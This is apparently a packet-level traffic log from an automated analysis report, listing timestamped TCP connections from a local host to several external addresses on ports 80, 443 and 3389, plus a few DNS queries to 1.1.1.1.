Oct 8, 2024 03:23:05.819473982 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.819494963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819505930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819516897 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819531918 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.819533110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819547892 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819556952 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.819581032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.820841074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.820925951 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.820935011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.820951939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.820962906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.820971012 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.820982933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.820997000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.821008921 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.821011066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.821022034 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.821049929 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.822818041 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822829008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822849035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822864056 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.822901964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822925091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822926998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822937965 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.822947979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822961092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.822978973 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.822995901 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835076094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835117102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835130930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835150957 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835165977 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835176945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835196018 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835201025 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835237980 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835302114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835314035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835330963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835340977 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835347891 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835361004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835371971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835372925 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835401058 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835408926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835421085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835438013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835448027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835449934 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835473061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835475922 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835484028 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835504055 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835513115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835525036 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.835530996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.835540056 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.872044086 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872070074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872081041 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.872081995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872127056 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.872165918 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872176886 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872193098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872203112 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.872209072 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.872245073 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.895715952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895745993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895787001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.895818949 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895829916 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895848036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895868063 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895869970 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.895881891 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895900965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.895910978 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.895941973 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.899300098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899311066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899331093 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899349928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899355888 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.899363041 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899374962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899394989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899399996 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.899399996 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.899403095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.899444103 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905020952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905036926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905050993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905071020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905072927 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905082941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905108929 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905112028 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905121088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905215979 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905215979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905227900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905251026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905253887 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905262947 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905280113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905298948 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905311108 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905318022 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905322075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905373096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905383110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905395985 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905399084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905411959 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905452013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905463934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905481100 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905487061 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905494928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905509949 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905513048 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905541897 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905544043 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905551910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905580997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905591011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905605078 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905616999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905630112 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905684948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905694962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905713081 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905719995 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905745029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905755997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905769110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905771971 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905791044 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905900002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905910015 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905931950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905937910 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905950069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905961990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905972958 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.905981064 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905991077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.905992985 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906016111 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906043053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906053066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906075954 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906090975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906094074 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906105042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906121969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906126976 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906132936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906152010 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906157017 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906163931 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906182051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906183004 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906218052 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906219006 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906230927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906261921 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906276941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906286001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906305075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906326056 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906369925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906383991 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906393051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906408072 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906413078 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906424999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.906429052 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.906456947 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.907815933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907845974 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907855034 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907883883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907893896 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907898903 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.907923937 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.907927990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907938004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.907960892 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.907967091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.908004999 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.909611940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909622908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909634113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909661055 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.909683943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909694910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909710884 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909718990 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.909719944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909737110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.909759045 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.909770966 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.921902895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.921942949 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.921957016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.921977997 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922019005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922033072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922048092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922050953 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922063112 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922080040 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922084093 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922111034 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922123909 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922137976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922163963 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922205925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922215939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922233105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922245979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922249079 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922272921 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922316074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922332048 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922347069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922357082 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922367096 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922377110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922403097 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.922416925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922427893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.922452927 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.959064007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959095001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959116936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959122896 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.959127903 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959146976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959152937 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.959163904 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959182024 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.959182024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.959225893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.982518911 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982532024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982554913 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982564926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982568026 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.982583046 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982616901 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982625961 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982630014 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.982646942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.982670069 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.982681990 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.986016035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986072063 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986097097 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986103058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986113071 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.986114025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986121893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986126900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986133099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.986227989 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.992165089 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992186069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992197037 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992212057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992232084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.992250919 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.992269039 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992280006 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992292881 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992316008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992325068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.992326021 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.992356062 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:06.033905029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:43.177139044 CEST	49710	80	192.168.2.8	104.26.12.205
Oct 8, 2024 03:23:43.182027102 CEST	80	49710	104.26.12.205	192.168.2.8
Oct 8, 2024 03:23:43.182207108 CEST	49710	80	192.168.2.8	104.26.12.205
Oct 8, 2024 03:23:43.182337046 CEST	49710	80	192.168.2.8	104.26.12.205
Oct 8, 2024 03:23:43.187063932 CEST	80	49710	104.26.12.205	192.168.2.8
Oct 8, 2024 03:23:43.656218052 CEST	80	49710	104.26.12.205	192.168.2.8
Oct 8, 2024 03:23:43.658847094 CEST	49711	3389	192.168.2.8	8.46.123.33
Oct 8, 2024 03:23:43.663743973 CEST	3389	49711	8.46.123.33	192.168.2.8
Oct 8, 2024 03:23:43.663821936 CEST	49711	3389	192.168.2.8	8.46.123.33
Oct 8, 2024 03:23:43.664128065 CEST	49711	3389	192.168.2.8	8.46.123.33
Oct 8, 2024 03:23:43.669003963 CEST	3389	49711	8.46.123.33	192.168.2.8
Oct 8, 2024 03:23:43.669380903 CEST	49711	3389	192.168.2.8	8.46.123.33
Oct 8, 2024 03:23:43.669517040 CEST	49710	80	192.168.2.8	104.26.12.205
Oct 8, 2024 03:23:43.674329042 CEST	80	49710	104.26.12.205	192.168.2.8
Oct 8, 2024 03:23:43.773303986 CEST	80	49710	104.26.12.205	192.168.2.8
Oct 8, 2024 03:23:43.830863953 CEST	49710	80	192.168.2.8	104.26.12.205
Oct 8, 2024 03:23:43.885102987 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:43.885139942 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:43.885199070 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:43.896358967 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:43.896378040 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.367943048 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.368017912 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:44.373521090 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:44.373533010 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.373780012 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.424592972 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:44.487854004 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:44.535413027 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.584709883 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.585036993 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:44.585057974 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.866015911 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.866087914 CEST	443	49712	188.114.96.3	192.168.2.8
Oct 8, 2024 03:23:44.866168976 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:44.874368906 CEST	49712	443	192.168.2.8	188.114.96.3
Oct 8, 2024 03:23:55.008536100 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:55.008897066 CEST	49710	80	192.168.2.8	104.26.12.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:23:43.018959045 CEST	56591	53	192.168.2.8	1.1.1.1
Oct 8, 2024 03:23:43.174551010 CEST	53	56591	1.1.1.1	192.168.2.8
Oct 8, 2024 03:23:43.871272087 CEST	62243	53	192.168.2.8	1.1.1.1
